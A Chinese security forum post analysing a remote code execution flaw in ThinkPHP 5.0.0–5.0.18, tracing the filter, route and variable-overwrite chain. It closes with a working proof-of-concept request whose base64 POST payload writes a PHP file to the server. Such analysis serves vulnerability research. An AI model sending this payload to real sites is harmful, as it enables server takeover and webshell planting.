安全矩阵

 找回密码
 立即注册
搜索
查看: 2059|回复: 0

ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-20 16:18:55 | 显示全部楼层 |阅读模式
原文链接:ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

前言
网上看到的POC,我详细分析了路由和poc,是对一个姿势的利用,比较骚的是::可以调用非静态方法以及set_error_handler的使用
Trick
比较骚的是我们一直以为php当中::只能调用静态方法,但是非静态一定条件下也能成功调用
成功输出123虽然有报错
  1. <?php
  2. class A{
  3.     public $a;
  4.     public function y4tacker(){
  5.         echo 123;
  6.     }
  7. }

  8. A::y4tacker();
复制代码



失败
  1. <?php
  2. class A{
  3.     public $a;
  4.     public function y4tacker(){
  5.         $this->a = '123';
  6.         echo 123;
  7.     }
  8. }

  9. A::y4tacker();
复制代码



分析
首先利用点是利用thinkphp/library/think/Request.php中的$value = call_user_func($filter, $value);来执行任意函数;
之后可以利用thinkphp/library/think/view/driver/Php.php当中的eval('?>' . $content);实现任意命令执行从而实现Shell的写入
再往上看,我们需要找到调用了filterValue方法的地方,在thinkphp/library/think/Request.php当中有
  1. if (is_array($data)) {
  2.             array_walk_recursive($data, [$this, 'filterValue'], $filter);
  3.             reset($data);
  4.         } else {
  5.             $this->filterValue($data, $name, $filter);
  6.         }
复制代码

并且这个filter参数是由$filter = $this->getFilter($filter, $default);获取而来,我们跟踪这个函数
  1. protected function getFilter($filter, $default)
  2. {
  3.         if (is_null($filter)) {
  4.             $filter = [];
  5.         } else {
  6.             $filter = $filter ?: $this->filter;
  7.             if (is_string($filter) && false === strpos($filter, '/')) {
  8.                 $filter = explode(',', $filter);
  9.             } else {
  10.                 $filter = (array) $filter;
  11.             }
  12.         }

  13.         $filter[] = $default;
  14.         return $filter;
  15.     }
复制代码


我们可以利用控制filter参数为空返回$this->filter,并且这个参数可控,之前的文章就分析过了,这里再简单提一下吧,在Request.php当中的method方法当中,可以控制$this->method为__construct实现变量覆盖

$this->{$this->method}($_POST);
因此我们回到正题,首先get传入的s=captcha&g=implode是为了设置dispatch为method,我们稍微跟一下这个过程的关键步骤
首先调用self::routeCheck($request, $config);,之后进入$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

关键是这里,我们跟进

这里返回_construct

在这里对Request类初始化覆盖赋值

最终返回$this->method也就是GET,至于为什么非得传他,因为我们需要进入这个方法,所以必须得有路由参数

由于我们需要获取这个captcha路由规则

可以看到这里得到路由route这很重要

我们接着往下跟踪到checkRule

由于route路由为\think\captcha\CaptchaController@index很明显因此返回method

当然我们不一定使用captcha,其他路由也行,但是captcha在这里是万能的QAQ,毕竟每个TP5都自带了,我们继续返回APP.php,跟进

​​


此时参数为

我们继续跟进Request的param

这里参数合并

我们继续跟进

进入Request的input方法也就回到了我们上面说的利用array_walk_recursive执行任意类方法了,

他对data中每一个参数迭代运行fileter当中的方法

这里面还有一个比较巧妙的地方是set_error_handler的使用, tp5 默认就调用了 error_reporting(E_ALL) ,且有一套内置的错误处理机制。上面预期解也提到了即使报了 warning 程序也会中止执行。
set_error_handler() 函数设置用户自定义的错误处理程序,会绕过标准 PHP 错误处理程序。其他的还有set_exception_handler() 函数设置用户自定义的异常处理函数。register_shutdown_function() 函数会注册一个会在PHP中止时执行的函数
POC
URL地址:

url/public/?s=captcha&g=implode
POST数据:

path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3k0dGFja2VyLnBocCcsJzw/cGhwIHBocGluZm8oKTs/PicpOyA/Pg==&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=\think\view\driver\Php:isplay&method=GET
成功写入phpinfo,利用成功




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 08:15 , Processed in 0.015150 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表